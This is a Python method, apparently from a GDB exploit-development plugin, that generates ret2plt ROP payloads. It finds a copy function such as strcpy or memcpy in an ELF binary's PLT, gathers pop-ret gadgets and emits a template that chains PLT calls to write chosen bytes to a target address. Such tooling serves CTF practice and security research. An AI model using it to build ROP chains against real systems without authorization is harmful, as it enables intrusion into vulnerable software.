'Suggest function for ret2plt exploit and generate payload for it
Args:
- target: address to copy data to (Int)
- data: (String)
Returns:
- python code template (String)'

def payload_copybytes(self, target=None, data=None, template=0):

    result = ''
    funcs = ['strcpy', 'sprintf', 'strncpy', 'snprintf', 'memcpy']
    symbols = self.elfsymbols()
    transfer = ''
    for f in funcs:
        if ((f + '@plt') in symbols):
            transfer = f
            break
    if (transfer == ''):
        warning_msg('No    copy    function    available')
        return None
    headers = self.elfheader()
    start = min([v[0] for (k, v) in headers.items() if (v[0] > 0)])
    end = max([v[1] for (k, v) in headers.items() if (v[2] != 'data')])
    symbols = self.elfsymbol(transfer)
    if (not symbols):
        warning_msg('Unable    to    find    symbols')
        return None
    plt_func = (transfer + '_plt')
    plt_addr = symbols[(transfer + '@plt')]
    gadgets = self.common_rop_gadget()
    function_template = '\n'.join([('popret    =    0x%x' % gadgets['popret']), ('pop2ret    =    0x%x' % gadgets['pop2ret']), ('pop3ret    =    0x%x' % gadgets['pop3ret']), ('def    %s_payload(target,    bytes):' % transfer), ('                %s    =    0x%x' % (plt_func, plt_addr)), '                payload    =    []', '                offset    =    0', '                for    (str,    addr)    in    bytes:', ''])
    if (('ncp' in transfer) or ('mem' in transfer)):
        function_template += '\n'.join([('                                payload    +=    [%s,    pop3ret,    target+offset,    addr,    len(str)]' % plt_func), '                                offset    +=    len(str)'])
    elif ('snp' in transfer):
        function_template += '\n'.join([('                                payload    +=    [%s,    pop3ret,    target+offset,    len(str)+1,    addr]' % plt_func), '                                offset    +=    len(str)'])
    else:
        function_template += '\n'.join([('                                payload    +=    [%s,    pop2ret,    target+offset,    addr]' % plt_func), '                                offset    +=    len(str)'])
    function_template += '\n'.join(['', '                return    payload', '', 'payload    =    []'])
    if (target is None):
        if (template != 0):
            return function_template
        else:
            return ''
    text = '\n'
    mem = self.dumpmem(start, end)
    bytes = self.search_substr(start, end, data, mem)
    if (to_int(target) is not None):
        target = to_hex(target)
    text += ('#    %s    <=    %s\n' % (target, repr(data)))
    if (not bytes):
        text += '***Failed***\n'
    else:
        text += 'bytes    =    [\n'
        for (s, a) in bytes:
            if (a != (-1)):
                text += ('                (%s,    %s),\n' % (repr(s), to_hex(a)))
            else:
                text += ('                (%s,    ***Failed***),\n' % repr(s))
        text += '\n'.join([']', ('payload    +=    %s_payload(%s,    bytes)' % (transfer, target)), ''])
    return text
